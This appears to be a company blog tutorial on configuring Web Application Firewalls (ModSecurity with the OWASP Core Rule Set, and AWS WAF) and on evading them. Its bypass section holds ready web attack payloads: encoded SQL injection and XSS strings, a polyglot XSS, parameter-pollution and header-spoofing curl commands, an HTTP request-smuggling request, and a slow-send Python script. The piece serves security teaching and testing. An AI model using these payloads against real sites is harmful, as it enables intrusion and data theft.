Web Application Firewalls: Configuration and Bypass Techniques
Web applications remain prime targets for attackers seeking to compromise organizations through SQL injection, cross-site scripting, and other injection-based attacks. Let's dive in.
Software Engineer
Schild Technologies
Web Application Firewalls: Configuration and Bypass Techniques
Web applications remain prime targets for attackers seeking to compromise organizations through SQL injection, cross-site scripting, and other injection-based attacks. While secure coding practices provide the strongest defense, Web Application Firewalls (WAFs) offer a critical security layer that protects applications from common exploits and zero-day vulnerabilities. Understanding both how to configure WAFs effectively and how attackers bypass them equips security professionals to build more resilient defenses and conduct thorough security assessments. This guide examines WAF fundamentals, explores configuration best practices for popular platforms, and details common bypass techniques.
Understanding web application firewalls
A Web Application Firewall operates at the application layer (Layer 7) of the OSI model, inspecting HTTP/HTTPS traffic between clients and web servers. Unlike traditional network firewalls that filter based on IP addresses and ports, WAFs analyze the content of requests and responses, applying rules to detect and block malicious payloads.
WAFs typically operate in one of three deployment modes. Inline blocking mode actively intercepts requests, blocking those that match attack patterns while allowing legitimate traffic through. Monitoring mode logs potentially malicious requests without blocking them, providing visibility while minimizing false positive impact during initial deployment. Out-of-band mode analyzes copies of traffic without sitting in the direct request path, useful for compliance monitoring but offering no active protection.
Modern WAFs employ multiple detection techniques simultaneously. Signature-based detection matches requests against known attack patterns, such as specific SQL injection strings or XSS payloads. Anomaly detection establishes baseline behavior for an application and flags requests that deviate significantly from normal patterns. Reputation-based filtering blocks requests from IP addresses associated with malicious activity. Rate limiting prevents abuse by restricting the number of requests from individual clients within defined time windows.
Core WAF concepts and rule sets
WAF effectiveness depends heavily on its rule configuration. Core protection typically starts with the OWASP ModSecurity Core Rule Set (CRS), which provides comprehensive coverage against the OWASP Top 10 vulnerabilities and many other attack vectors. The CRS uses paranoia levels from 1 to 4, with higher levels providing stricter protection at the cost of increased false positives.
Rule anatomy consists of several components. The match phase defines when the rule executes during request processing. Variables specify what data to inspect, such as request headers, cookies, POST parameters, or URI paths. Operators define how to match content, including regular expressions, string comparison, or geolocation checks. Transformations normalize data before inspection by decoding URL encoding, removing whitespace, or converting to lowercase. Actions specify what happens when a rule matches, from blocking requests to logging events or executing chain rules.
Scoring systems help determine overall threat level. Each rule violation adds points to an anomaly score, and only when the cumulative score exceeds a threshold does the WAF block the request. This approach reduces false positives by requiring multiple weak indicators rather than relying on single rule matches.
Configuring ModSecurity with Apache
ModSecurity remains the most widely deployed open-source WAF, with extensive community support and rule sets. Initial setup requires installing ModSecurity and configuring Apache to use it. On Ubuntu systems, installation proceeds through package managers before enabling the module.
# Install ModSecurity and required dependencies
sudo apt-get update
sudo apt-get install libapache2-mod-security2
# Enable ModSecurity module
sudo a2enmod security2
# Create configuration from template
sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
The primary configuration file controls ModSecurity's operational mode and logging behavior. Setting SecRuleEngine On enables blocking mode, while DetectionOnly logs violations without blocking. Comprehensive audit logging aids in troubleshooting false positives and investigating security events.
# Enable ModSecurity engine
SecRuleEngine On
# Configure audit logging for security events
SecAuditEngine RelevantOnly
SecAuditLogRelevantStatus "^(?:5|4(?!04))"
SecAuditLogParts ABIJDEFHZ
SecAuditLogType Serial
SecAuditLog /var/log/apache2/modsec_audit.log
# Set request body limits
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072
# Configure response body inspection
SecResponseBodyAccess On
SecResponseBodyMimeType text/plain text/html text/xml application/json
Deploying the OWASP CRS requires downloading the rule set and configuring ModSecurity to load it. The CRS setup configuration file defines paranoia levels and allowed HTTP methods.
# Download OWASP ModSecurity Core Rule Set
cd /etc/modsecurity
sudo git clone https://github.com/coreruleset/coreruleset.git
sudo mv coreruleset/crs-setup.conf.example crs-setup.conf
sudo mv coreruleset/rules/ ./
# Configure Apache to load CRS
echo "IncludeOptional /etc/modsecurity/crs-setup.conf" | sudo tee -a /etc/apache2/mods-enabled/security2.conf
echo "IncludeOptional /etc/modsecurity/rules/*.conf" | sudo tee -a /etc/apache2/mods-enabled/security2.conf
# Restart Apache
sudo systemctl restart apache2
Tuning rules to reduce false positives requires analyzing audit logs to identify legitimate requests being blocked. Creating exclusion rules allows specific applications to function while maintaining protection elsewhere.
# Example: Allow specific parameter in specific location
SecRule REQUEST_FILENAME "@beginsWith /api/upload" \
"id:1001,\
phase:1,\
pass,\
nolog,\
ctl:ruleRemoveTargetById=942100;ARGS:file_content"
# Example: Disable specific rule for trusted IP
SecRule REMOTE_ADDR "@ipMatch 10.0.1.50" \
"id:1002,\
phase:1,\
pass,\
nolog,\
ctl:ruleRemoveById=942100"
Configuring AWS WAF
AWS WAF provides cloud-native application protection integrated with CloudFront, Application Load Balancer, and API Gateway. Configuration uses Web ACLs that contain ordered rules evaluated sequentially until a rule action executes.
Creating a Web ACL starts in the AWS WAF console, specifying the AWS resources to protect. Web ACLs support capacity units, with each rule consuming units based on complexity. The default action determines behavior when no rules match, typically set to Allow.
# Example: Creating AWS WAF Web ACL with boto3
import boto3
waf = boto3.client('wafv2', region_name='us-east-1')
# Create Web ACL
response = waf.create_web_acl(
Scope='CLOUDFRONT',
Name='ProductionWebACL',
DefaultAction={'Allow': {}},
Rules=[
{
'Name': 'RateLimitRule',
'Priority': 1,
'Statement': {
'RateBasedStatement': {
'Limit': 2000,
'AggregateKeyType': 'IP'
}
},
'Action': {'Block': {}},
'VisibilityConfig': {
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'RateLimitRule'
}
},
{
'Name': 'GeoBlockingRule',
'Priority': 2,
'Statement': {
'GeoMatchStatement': {
'CountryCodes': ['CN', 'RU', 'KP']
}
},
'Action': {'Block': {}},
'VisibilityConfig': {
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'GeoBlockingRule'
}
}
],
VisibilityConfig={
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'ProductionWebACL'
}
)
AWS Managed Rules provide pre-configured rule groups maintained by AWS and marketplace sellers. The Core Rule Set covers OWASP Top 10 vulnerabilities, while specialized rule groups address specific frameworks or CMSs like WordPress or Drupal.
Custom rules enable application-specific protection. SQL injection prevention rules inspect query strings and body parameters for common attack patterns.
# SQL injection protection rule
sql_injection_rule = {
'Name': 'SQLiProtection',
'Priority': 3,
'Statement': {
'OrStatement': {
'Statements': [
{
'SqliMatchStatement': {
'FieldToMatch': {'QueryString': {}},
'TextTransformations': [
{'Priority': 0, 'Type': 'URL_DECODE'},
{'Priority': 1, 'Type': 'HTML_ENTITY_DECODE'}
]
}
},
{
'SqliMatchStatement': {
'FieldToMatch': {'Body': {}},
'TextTransformations': [
{'Priority': 0, 'Type': 'URL_DECODE'},
{'Priority': 1, 'Type': 'HTML_ENTITY_DECODE'}
]
}
}
]
}
},
'Action': {'Block': {}},
'VisibilityConfig': {
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'SQLiProtection'
}
}
Logging provides visibility into WAF decisions. AWS WAF logs integrate with CloudWatch Logs, S3, and Kinesis Data Firehose for analysis and long-term retention.
WAF bypass techniques
Understanding bypass techniques strengthens defenses and improves penetration testing capabilities. Attackers continuously develop methods to evade WAF detection, requiring security professionals to anticipate these approaches.
Encoding and obfuscation
WAFs apply transformations before pattern matching, but transformation chains can miss edge cases. Attackers layer multiple encoding schemes to exploit gaps in transformation logic.
# Standard SQL injection
1' OR '1'='1
# Double URL encoding bypass attempt
1%2527%2520OR%2520%25271%2527%253D%25271
# Mixed case with comments
1' uNIoN seLEcT/**/null,null,null--
Character set manipulation exploits differences between WAF inspection and backend processing. UTF-8 overlong encoding represents ASCII characters using multi-byte sequences that normalize during processing but evade detection.
# Standard XSS payload
<script>alert(1)</script>
# Overlong UTF-8 encoding
%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE
# UTF-7 encoding (for IIS applications)
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
# HTML entity encoding with hex
<script>alert(1)</script>
HTTP Parameter Pollution
HTTP Parameter Pollution (HPP) exploits how different web servers handle duplicate parameter names. WAFs and application servers may parse parameters differently, allowing attackers to hide payloads.
# If WAF checks first parameter and application uses last
curl "https://target.com/search?q=safe&q=1'+OR+'1'='1"
# If WAF concatenates but application takes first
curl "https://target.com/page?id=1&id=' OR '1'='1"
Different web servers exhibit distinct behavior. Apache concatenates duplicate parameters with commas, PHP takes the last occurrence, ASP.NET concatenates with commas, and IIS takes all occurrences as an array.
Request smuggling
HTTP request smuggling exploits discrepancies in how front-end WAFs and back-end servers parse HTTP requests. This technique allows attackers to hide malicious requests within seemingly benign traffic.
POST /search HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
X: X
The WAF sees only the POST request to /search, while the backend server processes both the POST and the smuggled GET request. CL.TE (Content-Length vs Transfer-Encoding) desync attacks exploit WAFs that prioritize Content-Length while backends use Transfer-Encoding.
Chunked transfer encoding abuse
Chunked encoding allows attackers to fragment attack payloads across multiple chunks, potentially bypassing pattern matching that expects contiguous strings.
POST /api/process HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
7
input=
4
1' O
3
R '
6
1'='1
0
Case manipulation and whitespace
Many WAF rules employ case-sensitive pattern matching or fail to normalize whitespace properly. Strategic case variation and whitespace insertion can evade detection.
-- Standard blocked payload
SELECT * FROM users WHERE id = 1 UNION SELECT password FROM admin
-- Case manipulation
SeLeCt * FrOm users WhErE id = 1 uNiOn sElEcT password FrOm admin
-- Whitespace and comment injection
SELECT/**/* FROM/**/users WHERE/**/id = 1/**/UNION/**/SELECT/**/password/**/FROM/**/admin
-- Tab and newline characters
SELECT * FROM users WHERE id = 1 UNION
SELECT password FROM admin
-- Multiple whitespace
SELECT * FROM users WHERE id = 1 UNION SELECT password FROM admin
Polyglot payloads
Polyglot payloads execute across multiple contexts, making detection harder. A single payload might function as valid JavaScript, SQL, and HTML depending on execution context.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
This payload works in multiple scenarios: as JavaScript in a script context, as an HTML attribute, and even as valid syntax in some server-side template engines.
JSON attacks
APIs using JSON or XML introduce additional bypass opportunities. Structure manipulation and encoding within these formats can evade detection.
// Standard blocked JSON payload
{"username": "admin' OR '1'='1", "password": "anything"}
// Unicode escape sequences
{"username": "admin\u0027 OR \u00271\u0027=\u00271", "password": "anything"}
// Nested JSON with encoding
{"username": {"$regex": "admin' OR '1'='1"}, "password": "anything"}
IP and origin spoofing
WAFs often trust certain headers for identifying client IP addresses, allowing attackers to bypass IP-based restrictions.
# Spoofing trusted internal IP
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin
# Using multiple forwarding headers
curl -H "X-Forwarded-For: 10.0.0.1" \
-H "X-Real-IP: 10.0.0.1" \
-H "X-Client-IP: 10.0.0.1" \
https://target.com/admin
# Cloudflare bypass attempt
curl -H "CF-Connecting-IP: 127.0.0.1" https://target.com/admin
Properly configured WAFs validate these headers and only trust them when requests originate from known trusted proxies.
Timing-based bypass
Some WAFs implement timeout-based protection or rate limiting that can be manipulated. Slow HTTP attacks keep connections open while gradually sending data, potentially bypassing time-based defenses.
import socket
import time
# Slowloris-style attack to bypass WAF timeouts
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("target.com", 80))
sock.send(b"POST /api/process HTTP/1.1\r\n")
sock.send(b"Host: target.com\r\n")
sock.send(b"Content-Length: 10000\r\n")
sock.send(b"Content-Type: application/x-www-form-urlencoded\r\n\r\n")
# Send payload very slowly
payload = "id=1' OR '1'='1"
for char in payload:
sock.send(char.encode())
time.sleep(0.5) # Wait between each character
Detection and defensive strategies
Defending against WAF bypass requires layered security. WAFs should never be the sole security control but rather one component of defense in depth. Secure coding practices prevent vulnerabilities from existing in the first place, while WAFs provide emergency protection and defense against zero-days.
Regular rule tuning balances security and usability. Start with monitoring mode to establish baseline false positive rates before moving to blocking mode. Analyze blocked legitimate traffic patterns and create exceptions that maintain security while enabling functionality.
# Example: Progressive rule hardening
# Start with paranoia level 1
SecAction "id:900000,phase:1,nolog,pass,t:none,\
setvar:tx.blocking_paranoia_level=1"
# Monitor for false positives over 2-4 weeks
# Review logs: tail -f /var/log/apache2/modsec_audit.log
# Gradually increase after tuning exceptions
SecAction "id:900000,phase:1,nolog,pass,t:none,\
setvar:tx.blocking_paranoia_level=2"
Implement comprehensive logging and monitoring. Integrate WAF logs with SIEM systems for correlation with other security events. Configure alerts for bypass attempt indicators including excessive encoding, unusual parameter names, abnormal request sizes, and spikes in triggered rules.
Complement signature-based detection with positive security models that define expected behavior. Create allowlists for permitted HTTP methods (GET, POST, PUT, DELETE), valid content types (application/json, multipart/form-data), acceptable parameter names, and expected value formats. This approach reduces false negatives by blocking anything that deviates from known-good patterns.
# Enforce allowed HTTP methods
SecRule REQUEST_METHOD "!@within GET HEAD POST PUT DELETE" \
"id:1100,\
phase:1,\
deny,\
status:405,\
log,\
msg:'Method not allowed'"
# Validate content types for POST requests
SecRule REQUEST_METHOD "@streq POST" \
"id:1101,\
phase:1,\
chain,\
deny,\
status:415,\
log,\
msg:'Invalid content type for POST'"
SecRule &REQUEST_HEADERS:Content-Type "@eq 0"
SecRule REQUEST_METHOD "@streq POST" \
"id:1102,\
phase:1,\
deny,\
status:415,\
log,\
msg:'Invalid content type for POST',\
chain"
SecRule REQUEST_HEADERS:Content-Type "!@within application/json application/x-www-form-urlencoded multipart/form-data"
Deploy WAFs based on threat model and architecture. Edge-based WAFs provide perimeter protection and DDoS mitigation, while host-based agents offer deeper application context and coverage for internal traffic.
Regular testing validates WAF effectiveness. Penetration tests can include dedicated WAF bypass assessments using tools like WAFw00f. WAFw00f identifies WAF vendors, while other tools like SQLMap tamper scripts or Burp Suite can send specialized payloads.
# Identify WAF technology
wafw00f https://target.com
# Test specific bypass techniques
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between
# Custom bypass testing with burp suite
# Use Intruder with encoding payloads and observe blocking patterns
Conclusion
Web Application Firewalls provide valuable protection against common attacks and zero-day exploits. Understanding both proper WAF configuration and common bypass techniques enables security professionals to deploy more effective defenses and conduct thorough security assessments. WAFs work best as part of layered security, complementing secure coding, input validation, output encoding, and security monitoring. Regular tuning, comprehensive logging, and ongoing testing ensure WAFs adapt to evolving threats while maintaining usability for legitimate users. By mastering both defensive configuration and offensive bypass techniques, security professionals can build and validate truly resilient application defenses.